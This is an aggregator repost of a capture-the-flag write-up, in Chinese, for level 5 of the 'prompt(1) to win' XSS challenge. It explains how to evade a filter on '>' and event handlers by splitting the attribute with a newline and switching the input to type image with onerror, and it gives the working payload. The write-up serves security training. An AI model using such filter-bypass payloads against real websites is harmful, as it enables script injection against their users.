

【prompt(1) to win】 Level 5 - Input Type
source link: https://exp-blog.com/safe/ctf/prompt/level-5-input-type/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

【prompt(1) to win】 Level 5
function escape(input) {
// apply strict filter rules of level 0
// filter ">" and event handlers
input = input.replace(/>|on.+?=|focus/gi, '_');
return '<input value="' + input + '" type="text">';
}
由于标签闭合 >
被过滤了,所以 js 只能通过标签属性触发。
其实 type="text"
就是个提示,input 标签可根据 type 改变自身为不同的元素类型,从而可以使用该类型的的属性触发 js 。
题目设定的默认类型是 text ,即输入框,这种类型可以触发 js 的属性只有 onfocus ,但是 focus 被过滤了,所以需要使用其他类型。
查表 知道 input 的可用类型如下:

从中发现比较容易利用的类型是 button 和 image 。
假如要利用 button 按钮类型,可以通过 onclick 触发 js,期望结果是这样的 :
<input value="exp" type="button" onclick="prompt(1)" type="text">
亦即 input 为 : exp" type="button" onclick="prompt(1)
但是正则 on.+?=
过滤了 onclick=
,不过这种过滤可以通过换行绕过,即构造 payload 为:
exp" type="button" onclick
="prompt(1)
不过似乎是 BUG ,构造的按钮无法点击,导致无法触发 js。

这样只能换个思路,利用 image 图片类型,通过 onerror 触发 js ,构造 payload 如下:
exp" type="image" src=0 onerror
="prompt(1)
成功完成挑战。

- payload.html : 下载
Recommend
-
4
题目(隐藏关卡)javascriptfunction escape(input) { // WORLD -1 // strip off certain characters from breaking conditional statement input = input.replace(/[}<]/g, ''); return '...
-
5
【prompt(1) to win】 Level 6 javascriptfunction escape(input) { // let's do a post redirection try { // pass in formURL#formDataJSON...
-
5
【prompt(1) to win】 Level B javascriptfunction escape(input) { // name should not contain special characters var memberName = input.replace(/[[|\s+*...
-
5
【prompt(1) to win】 Level 0 javascriptfunction escape(input) { // warm up // script should be executed without user interaction return '<...
-
3
【prompt(1) to win】 Level 3 javascriptfunction escape(input) { // filter potential comment end delimiters input = input.replace(/->/g, '_');...
-
6
【prompt(1) to win】 Level 7 javascriptfunction escape(input) { // pass in something like dog#cat#bird#mouse... var segments = input.split('#');...
-
1
【prompt(1) to win】 Level 4 javascriptfunction escape(input) { // make sure the script belongs to own site // sample script: http://pr...
-
7
【prompt(1) to win】 Level 1 javascriptfunction escape(input) { // tags stripping mechanism from ExtJS library // Ext.util.Format.stripTags var s...
-
6
【prompt(1) to win】 Level 2 javascriptfunction escape(input) { // v-- frowny face input = input.replace(/[=(]/g, ''); // o...
-
4
【prompt(1) to win】 Level E javascriptfunction escape(input) { // I expect this one will have other solutions, so be creative :) // mspaint makes al...
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK